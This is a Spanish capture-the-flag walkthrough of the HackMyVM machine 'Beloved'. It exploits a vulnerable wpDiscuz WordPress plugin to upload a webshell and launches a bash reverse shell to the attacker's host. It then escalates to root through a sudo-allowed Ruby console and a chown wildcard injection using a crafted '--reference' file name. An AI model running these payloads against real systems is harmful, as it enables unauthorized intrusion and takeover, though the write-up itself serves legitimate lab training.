❤️🔥 Máquina Beloved - HackMyVm
Reconocimiento
Lo primero que haremos será identificar la dirección IP de la máquina objetivo. Para ello utilizamos arp-scan, una herramienta muy útil para descubrir hosts activos en la red.
1
2
3
4
5
6
7
8
9
sudo arp-scan -I eth1 10.10.10.0/24
Interface: eth1, type: EN10MB, MAC: 08:00:27:41:0a:fa, IPv4: 10.10.10.101
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.10.10.1 0a:00:27:00:00:0a (Unknown: locally administered)
10.10.10.100 08:00:27:38:d1:c8 (Unknown)
10.10.10.107 08:00:27:25:e8:44 (Unknown)
Una vez identificada la dirección IP de la máquina (10.10.10.107), continuamos con un escaneo inicial utilizando Nmap para obtener información sobre los servicios expuestos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sudo nmap -sSCV -p- -n --min-rate 5000 10.10.10.107 -vvv -oN scan
Host is up, received arp-response (0.038s latency).
Scanned at 2026-02-13 07:26:20 EST for 28s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhemxEZcm98GFwIRozVUePnC+Cejni5lScAa7ha5neDlWQT2e6dbubOkddku/qgtgY4/kw/pGPh7oTqHg9WKHTMqTAzdN0DDaU/5twewwMf6s9ERuuYYieP7mzjsX2APhOr23CFWVr37Y+mQ/A4J0ODizpr/mggCCi6kqHqyRWgcPG98AVJ9IjPehVkptQdLpQlSOV8EzJClu6tBInWzxtGi5v0B94lMYRDXqZE9Z1wCSh9oU0HnwRwfFqB0dcOH+kDZVLYi06aiHKXkKgSFM3G6LJQY8ad4FCEc7TU+agLRPHFUPFqqPbf9hbDD7MUdR4pXEQtJ1p/D/9rdbBg1Sp
| 256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBB+zmcUltQUYUVvvfWqtUjdFpCh0IkOnPjmcctTpnXS7MWK37n6h9DEq4WNsHmauyKEuRnml5mOLUbNIZHHUBgY=
| 256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNArrcR981CzORruPnEn/opg56t7SFktwnhZzGpXcfE
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.7.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: Beloved – Just another WordPress site
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:25:E8:44 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap identifica dos servicios abiertos: una aplicación web en el puerto 80 y un ssh 22.
Comenzaremos analizando la aplicación web.
Si prestamos atención, al situar el cursor sobre el enlace Hello World! aparece en la esquina inferior izquierda la URL:
1
http://beloved/2021/06/09/hello-world/
Sin embargo, al hacer clic, la página no se carga correctamente. Para poder visualizarla, es necesario añadir el dominio beloved al archivo /etc/hosts, de modo que el sistema pueda resolverlo adecuadamente.
Una vez realizado este ajuste, la página de WordPress se muestra sin inconvenientes.
Podemos probar a hacer fuzzing de directorios para ver si encontramos algo interesante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gobuster dir -u http://beloved -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 10 -o dirs
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://beloved
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
rss (Status: 301) [Size: 0] [--> http://beloved/feed/]
login (Status: 302) [Size: 0] [--> http://beloved/wp-login.php]
0 (Status: 301) [Size: 0] [--> http://beloved/0/]
feed (Status: 301) [Size: 0] [--> http://beloved/feed/]
atom (Status: 301) [Size: 0] [--> http://beloved/feed/atom/]
s (Status: 301) [Size: 0] [--> http://beloved/sample-page/]
wp-content (Status: 301) [Size: 307] [--> http://beloved/wp-content/]
admin (Status: 302) [Size: 0] [--> http://beloved/wp-admin/]
h (Status: 301) [Size: 0] [--> http://beloved/2021/06/09/hello-world/]
rss2 (Status: 301) [Size: 0] [--> http://beloved/feed/]
wp-includes (Status: 301) [Size: 308] [--> http://beloved/wp-includes/]
javascript (Status: 301) [Size: 307] [--> http://beloved/javascript/]
sa (Status: 301) [Size: 0] [--> http://beloved/sample-page/]
rdf (Status: 301) [Size: 0] [--> http://beloved/feed/rdf/]
page1 (Status: 301) [Size: 0] [--> http://beloved/]
sample (Status: 301) [Size: 0] [--> http://beloved/sample-page/]
' (Status: 301) [Size: 0] [--> http://beloved/]
dashboard (Status: 302) [Size: 0] [--> http://beloved/wp-admin/]
he (Status: 301) [Size: 0] [--> http://beloved/2021/06/09/hello-world/]
sam (Status: 301) [Size: 0] [--> http://beloved/sample-page/]
hello (Status: 301) [Size: 0] [--> http://beloved/2021/06/09/hello-world/]
wp-admin (Status: 301) [Size: 305] [--> http://beloved/wp-admin/]
2021 (Status: 301) [Size: 0] [--> http://beloved/2021/]
Pero después de esperar un rato vemos que no aparece nada interesante. Así que vamos a tirar de wpscan.
1
wpscan --url http://beloved --plugins-detection aggressive -t 50
El escaneo de wpscan va a tardar bastante, así que os adelanto que el plugin vulnerable es wpDiscuz.
Vamos a comprobar si tenemos a mano algún exploit disponible.
1
2
3
4
5
6
7
8
9
searchsploit wpDiscuz
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated) | php/webapps/49962.sh
WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated) | php/webapps/49967.py
Wordpress Plugin wpDiscuz 7.0.4 - Unauthenticated Arbitrary File Upload (Metasploit) | php/webapps/49401.rb
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
1
2
3
4
5
6
7
8
searchsploit -m 49967
Exploit: WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated)
URL: https://www.exploit-db.com/exploits/49967
Path: /usr/share/exploitdb/exploits/php/webapps/49967.py
Codes: CVE-2020-24186
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable, with very long lines (864)
Copied to: /home/kali/Documents/49967.py
Inspeccionando un poco el script, parece que necesita apuntar a una ruta donde exista un post del blog. Si nos fijamos en la captura anterior, vemos que la entrada se publicó el 9 de junio de 2021. En este plugin, los posts se organizan en rutas que siguen el formato de fechas.
De hecho, esto encaja con lo que vimos durante el fuzzing: apareció un directorio llamado 2021. Así que, en nuestro caso, la ruta objetivo del post es:
/2021/06/09/hello-world/
Ahora probamos a ejecutar el exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
python3 exploit.py -u http://beloved -p /2021/06/09/hello-world/
---------------------------------------------------------------
[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186
[-] https://github.com/hevox
---------------------------------------------------------------
[+] Response length:[51680] | code:[200]
[!] Got wmuSecurity value: c945c6d982
[!] Got wmuSecurity value: 1
[+] Generating random name for Webshell...
[!] Generated webshell name: cwqrnwwgqanmrfu
[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path:url":"http://beloved/wp-content/uploads/2026/02/cwqrnwwgqanmrfu-1770987579.175.php"
>
Pero en lugar de utilizar la webshell que proporciona el exploit, vamos a hacerlo directamente desde la propia web.
Vemos que, a través del parámetro ?cmd, podemos ejecutar comandos en el servidor, así que aprovechamos esta funcionalidad para lanzarnos una reverse shell.
1
bash -c 'bash -i >& /dev/tcp/10.10.10.101/9001 0>&1'
Hay que URL‑encodear el script para que funcione correctamente.
Una vez que obtenemos la shell, realizamos el tratamiento de la TTY para trabajar de forma más cómoda.
1
2
3
4
5
6
7
script /dev/null -c bash
# CTRL+Z
stty raw -echo;fg
reset xterm
export SHELL=/bin/bash
export TERM=xterm-256color
source /etc/skel/.bashrc
Y vemos que, como usuario www-data, tenemos un privilegio sudo sobre un ejecutable.
1
2
3
4
5
6
7
www-data@beloved:/var/www/html/wordpress/wp-content/uploads/2026/02$ sudo -l
Matching Defaults entries for www-data on beloved:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on beloved:
(beloved) NOPASSWD: /usr/local/bin/nokogiri
Este programa recibe como parámetro un documento y, a partir de ahí, nos abre una shell de Ruby.
1
2
3
4
5
www-data@beloved:/home$ touch /tmp/log.txt
www-data@beloved:/home$ sudo -u beloved /usr/local/bin/nokogiri /tmp/log.txt
Loading nokogiri settings...
Your document is stored in @doc...
irb(main):001:0>
Una vez dentro, podemos aprovechar los comandos disponibles en Ruby para obtener una shell como el usuario beloved.
1
2
irb(main):002:0> system '/bin/bash'
beloved@beloved:/home$
Ahora ya podemos leer el user.txt
1
2
beloved@beloved:~$ ls
user.txt
Tras pasar un rato revisando el sistema, no encontramos binarios SUID relevantes, no disponemos de nuevos privilegios sudo y linpeas.sh tampoco ha detectado nada útil. Así que nos traemos pspy64 para comprobar si hay algún comando ejecutándose de forma periódica.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
beloved@beloved:~$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/02/13 21:53:11 CMD: UID=33 PID=988 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=33 PID=910 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=0 PID=9 |
2026/02/13 21:53:11 CMD: UID=0 PID=8 |
2026/02/13 21:53:11 CMD: UID=0 PID=61 |
2026/02/13 21:53:11 CMD: UID=0 PID=6 |
2026/02/13 21:53:11 CMD: UID=0 PID=51 |
2026/02/13 21:53:11 CMD: UID=106 PID=504 | /usr/sbin/mysqld
2026/02/13 21:53:11 CMD: UID=0 PID=50 |
2026/02/13 21:53:11 CMD: UID=0 PID=492 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=0 PID=415 | /usr/sbin/sshd -D
2026/02/13 21:53:11 CMD: UID=0 PID=4 |
2026/02/13 21:53:11 CMD: UID=0 PID=397 | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
2026/02/13 21:53:11 CMD: UID=0 PID=378 | /sbin/agetty -o -p -- \u --noclear tty1 linux
2026/02/13 21:53:11 CMD: UID=0 PID=342 | /lib/systemd/systemd-logind
2026/02/13 21:53:11 CMD: UID=0 PID=339 | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
2026/02/13 21:53:11 CMD: UID=104 PID=338 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2026/02/13 21:53:11 CMD: UID=0 PID=337 | /usr/sbin/cron -f
2026/02/13 21:53:11 CMD: UID=0 PID=336 | /usr/sbin/rsyslogd -n -iNONE
2026/02/13 21:53:11 CMD: UID=0 PID=324 |
2026/02/13 21:53:11 CMD: UID=0 PID=323 |
2026/02/13 21:53:11 CMD: UID=0 PID=32 |
2026/02/13 21:53:11 CMD: UID=0 PID=3 |
2026/02/13 21:53:11 CMD: UID=0 PID=29 |
2026/02/13 21:53:11 CMD: UID=1000 PID=2806 | ./pspy64
2026/02/13 21:53:11 CMD: UID=0 PID=28 |
2026/02/13 21:53:11 CMD: UID=0 PID=2788 |
2026/02/13 21:53:11 CMD: UID=0 PID=2761 |
2026/02/13 21:53:11 CMD: UID=0 PID=27 |
2026/02/13 21:53:11 CMD: UID=0 PID=2666 |
2026/02/13 21:53:11 CMD: UID=0 PID=26 |
2026/02/13 21:53:11 CMD: UID=101 PID=254 | /lib/systemd/systemd-timesyncd
2026/02/13 21:53:11 CMD: UID=0 PID=25 |
2026/02/13 21:53:11 CMD: UID=0 PID=246 | /lib/systemd/systemd-udevd
2026/02/13 21:53:11 CMD: UID=0 PID=24 |
2026/02/13 21:53:11 CMD: UID=0 PID=23 |
2026/02/13 21:53:11 CMD: UID=0 PID=22 |
2026/02/13 21:53:11 CMD: UID=0 PID=21 |
2026/02/13 21:53:11 CMD: UID=0 PID=20 |
2026/02/13 21:53:11 CMD: UID=0 PID=2 |
2026/02/13 21:53:11 CMD: UID=0 PID=1954 |
2026/02/13 21:53:11 CMD: UID=0 PID=194 |
2026/02/13 21:53:11 CMD: UID=0 PID=193 |
2026/02/13 21:53:11 CMD: UID=0 PID=191 |
2026/02/13 21:53:11 CMD: UID=0 PID=19 |
2026/02/13 21:53:11 CMD: UID=0 PID=18 |
2026/02/13 21:53:11 CMD: UID=0 PID=1712 | /lib/systemd/systemd-journald
2026/02/13 21:53:11 CMD: UID=0 PID=17 |
2026/02/13 21:53:11 CMD: UID=0 PID=160 |
2026/02/13 21:53:11 CMD: UID=0 PID=16 |
2026/02/13 21:53:11 CMD: UID=0 PID=15 |
2026/02/13 21:53:11 CMD: UID=1000 PID=1478 | /bin/bash
2026/02/13 21:53:11 CMD: UID=1000 PID=1473 | /usr/bin/ruby2.5 /usr/local/bin/nokogiri /tmp/pwn
2026/02/13 21:53:11 CMD: UID=0 PID=1472 | sudo -u beloved /usr/local/bin/nokogiri /tmp/pwn
2026/02/13 21:53:11 CMD: UID=0 PID=1458 |
2026/02/13 21:53:11 CMD: UID=0 PID=14 |
2026/02/13 21:53:11 CMD: UID=0 PID=127 |
2026/02/13 21:53:11 CMD: UID=0 PID=126 |
2026/02/13 21:53:11 CMD: UID=33 PID=1240 | bash
2026/02/13 21:53:11 CMD: UID=33 PID=1239 | sh -c bash
2026/02/13 21:53:11 CMD: UID=33 PID=1238 | script /dev/null -c bash
2026/02/13 21:53:11 CMD: UID=33 PID=1236 | bash -i
2026/02/13 21:53:11 CMD: UID=33 PID=1235 | bash -c bash -i >& /dev/tcp/10.10.10.101/9001 0>&1
2026/02/13 21:53:11 CMD: UID=33 PID=1234 | sh -c bash -c 'bash -i >& /dev/tcp/10.10.10.101/9001 0>&1'
2026/02/13 21:53:11 CMD: UID=0 PID=120 |
2026/02/13 21:53:11 CMD: UID=0 PID=12 |
2026/02/13 21:53:11 CMD: UID=0 PID=118 |
2026/02/13 21:53:11 CMD: UID=0 PID=117 |
2026/02/13 21:53:11 CMD: UID=0 PID=115 |
2026/02/13 21:53:11 CMD: UID=0 PID=11 |
2026/02/13 21:53:11 CMD: UID=33 PID=1097 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=33 PID=1092 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=0 PID=109 |
2026/02/13 21:53:11 CMD: UID=33 PID=1030 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=33 PID=1027 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=33 PID=1024 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=33 PID=1022 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=33 PID=1020 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=33 PID=1019 | /usr/sbin/apache2 -k start
2026/02/13 21:53:11 CMD: UID=0 PID=10 |
2026/02/13 21:53:11 CMD: UID=0 PID=1 | /sbin/init
2026/02/13 21:54:01 CMD: UID=0 PID=2814 | /usr/sbin/CRON -f
2026/02/13 21:54:01 CMD: UID=0 PID=2815 | /usr/sbin/CRON -f
2026/02/13 21:54:01 CMD: UID=0 PID=2816 | /bin/sh -c cd /opt && chown root:root *
Y vemos que el usuario root está ejecutando periódicamente el comando:
/bin/sh -c cd /opt && chown root:root *
Esto es especialmente peligroso debido a cómo funciona el globbing en la expansión del asterisco.
Si en un directorio tenemos, por ejemplo, dos archivos llamados fichero1.txt y fichero2.txt, el * se expande sustituyéndose por ambos nombres. En este caso, el comando real que se ejecutaría sería:
/bin/sh -c cd /opt && chown root:root fichero1.txt fichero2.txt
A simple vista no parece problemático, pero podemos manipular los nombres de los archivos para alterar el comportamiento del comando chown. La idea es aprovechar cómo interpreta los parámetros para conseguir que ejecute algo distinto a lo esperado.
La explotación sería la siguiente.
1
2
3
4
5
6
7
8
9
10
beloved@beloved:~/.ssh$ cd /opt
beloved@beloved:/opt$ touch ref
beloved@beloved:/opt$ touch -- --reference=ref
beloved@beloved:/opt$ ls -la
Total 12
-rw-r--r-- beloved beloved 1 0 Aug 28 02:09 '--reference=ref'
drwxrwx--- 2 beloved root 4096 Aug 28 02:09 .
drwxr-xr-x 18 root root 4096 May 19 2021 ..
-rw-------- 1 root root 1823 Jun 27 2021 id_rsa
-rw-r--r-- beloved- 1 beloved 0 Aug 28 02:09 ref
La “magia” de todo esto está en el uso de touch -- --reference=ref. Este comando nos permite crear un archivo cuyo nombre literal es --reference=ref. La clave es que --reference es una opción válida de chown que indica: “toma el usuario y el grupo de este archivo y aplícalos a los archivos seleccionados”. En nuestro caso, apunta al fichero ref, cuyo propietario y grupo pertenecen a beloved.
Así, cuando se ejecute:
/bin/sh -c cd /opt && chown root:root *
el globbing expandirá el asterisco y colocará los archivos en este orden:
/bin/sh -c cd /opt && chown root:root --reference=ref id_rsa ref
De este modo, chown interpretará --reference=ref como una opción válida y aplicará los permisos del archivo ref (propiedad de beloved) a id_rsa y al propio ref.
1
2
3
4
5
6
7
beloved@beloved:/opt$ ls -la
Total 12
-rw-r--r-- beloved beloved 1 0 Aug 28 02:09 '--reference=ref'
drwxrwx--- 2 beloved root 4096 Aug 28 02:09 .
drwxr-xr-x 18 root root 4096 May 19 2021 ..
-rw----------- beloved 1 beloved 1823 Jun 27 2021 id_rsa
-rw-r--r-- beloved- 1 beloved 0 Aug 28 02:09 ref
Y ahora, con los permisos ya modificados, podemos leer la id_rsa y conectarnos como root por SSH.
1
2
3
4
5
6
7
8
9
10
11
12
beloved@beloved:/opt$ ssh root@localhost -i id_rsa
Linux beloved 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 13 19:38:20 2026 from ::1
root@beloved:~# ls /root/
root.txt
Y ahora sí, podemos leer la flag.
Cabe destacar que teníamos un buen chivatazo de la explotación en el
.bash_historydel usuariobeloved.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
beloved@beloved:~$ cat .bash_history
clear
id
clear
wget http://192.168.0.28:8000/pspy64
cd ~
wget http://192.168.0.28:8000/pspy64
chmod +x *
clear
./pspy64 |grep "UID=0"
clear
cd /opt
clear
ls -l
cat id_rsa
clear
touch test && touch -- --reference=test
clear
watch ls -l
clear
cat id_rsa
cd ~
nano id_rsa
chmod 600 id_rsa
clear
ssh -i id_rsa root@localhost



